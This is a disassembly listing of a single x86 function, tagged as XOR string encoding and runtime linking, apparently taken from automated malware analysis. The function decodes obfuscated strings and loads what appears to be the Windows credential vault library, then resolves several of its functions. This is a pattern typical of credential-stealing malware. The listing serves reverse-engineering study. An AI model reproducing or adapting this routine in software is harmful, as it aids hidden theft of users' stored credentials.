Function at 0x43bdd0
Capabilities:
Encode data using xor
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
cmp byte [0x536ed2], 0
push esi
jne 0x43c027
mov dword [ebp - 0xe], 0xf2e8fded
xor ecx, ecx
mov dword [ebp - 0xa], 0xcbcdc3eb
mov dword [ebp - 6], 0xcac9c08d
mov word [ebp - 2], 0x100
lea eax, [ecx - 0x65]
xor byte [ebp + ecx - 0xe], al
inc ecx
cmp ecx, 0xc
jb 0x43be01
lea eax, [ebp - 0xe]
mov byte [ebp - 1], 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, eax
mov dword [0x536eb8], edx
test edx, edx
je 0x43c027
movaps xmm0, xmmword [0x527770]
xor ecx, ecx
movups xmmword [ebp - 0x39], xmm0
mov dword [ebp - 0x29], 0xdec1ce
mov byte [ebp - 0x25], 1
lea eax, [ecx - 0x65]
xor byte [ebp + ecx - 0x39], al
inc ecx
cmp ecx, 0x13
jb 0x43be44
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x39]
push eax
push edx
mov byte [ebp - 0x25], 0
call esi
movaps xmm0, xmmword [0x526c20]
xor ecx, ecx
mov dword [0x536ed4], eax
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0xddd9c0de
mov word [ebp - 0x10], 0x100
lea eax, [ecx - 0x65]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0x14
jb 0x43be81
lea eax, [ebp - 0x24]
mov byte [ebp - 0xf], 0
push eax
push dword [0x536eb8]
call esi
mov dword [0x536ecc], eax
xor ecx, ecx
mov dword [ebp - 0xb], 0xf2e8fdcd
mov dword [ebp - 7], 0xc7d3e6eb
mov word [ebp - 3], 0xc6
mov byte [ebp - 1], 1
nop dword [eax]
lea eax, [ecx - 0x65]
xor byte [ebp + ecx - 0xb], al
inc ecx
cmp ecx, 9
jb 0x43bec0
lea eax, [ebp - 0xb]
mov byte [ebp - 1], 0
push eax
push dword [0x536eb8]
call esi
mov dword [0x536ec4], eax
xor ecx, ecx
mov dword [ebp - 0x1e], 0xf2e8fdcd
mov dword [ebp - 0x1a], 0xc7d1efeb
mov dword [ebp - 0x16], 0xd3c4f2cd
mov dword [ebp - 0x12], 0x100dccb
lea eax, [ecx - 0x65]
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 0xe
jb 0x43bf00
lea eax, [ebp - 0x1e]
mov byte [ebp - 0xf], 0
push eax
push dword [0x536eb8]
call esi
movaps xmm0, xmmword [0x525ec0]
xor ecx, ecx
mov dword [0x536eb4], eax
movups xmmword [ebp - 0x35], xmm0
mov byte [ebp - 0x25], 1
lea eax, [ecx - 0x65]
xor byte [ebp + ecx - 0x35], al
inc ecx
cmp ecx, 0xf
jb 0x43bf33
lea eax, [ebp - 0x35]
mov byte [ebp - 0x25], 0
push eax
push dword [0x536eb8]
call esi
mov dword [0x536ec8], eax
xor ecx, ecx
mov dword [ebp - 0xe], 0xf2e8fdcd
mov dword [ebp - 0xa], 0xd6c4e7eb
mov dword [ebp - 6], 0xcbc0d0ea
mov word [ebp - 2], 0x100
lea eax, [ecx - 0x65]
xor byte [ebp + ecx - 0xe], al
inc ecx
cmp ecx, 0xc
jb 0x43bf72
lea eax, [ebp - 0xe]
mov byte [ebp - 1], 0
push eax
push dword [0x536eb8]
call esi
mov dword [0x536ec0], eax
xor ecx, ecx
mov dword [ebp - 0x1c], 0xf2e8fdcd
mov dword [ebp - 0x18], 0xd6c4e7eb
mov dword [ebp - 0x14], 0xcbc0d0ea
mov word [ebp - 0x10], 0x100
lea eax, [ecx - 0x65]
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 0xc
jb 0x43bfb1
lea eax, [ebp - 0x1c]
mov byte [ebp - 0xf], 0
push eax
push dword [0x536eb8]
call esi
cmp dword [0x536ed4], 0
mov dword [0x536ee0], eax
je 0x43c01b
cmp dword [0x536ecc], 0
je 0x43c01b
cmp dword [0x536ec4], 0
je 0x43c01b
cmp dword [0x536eb4], 0
je 0x43c01b
cmp dword [0x536ec8], 0
je 0x43c01b
cmp dword [0x536ec0], 0
je 0x43c01b
test eax, eax
je 0x43c01b
mov byte [0x536ed2], 1
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
push dword [0x536eb8]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
pop esi
mov esp, ebp
pop ebp
ret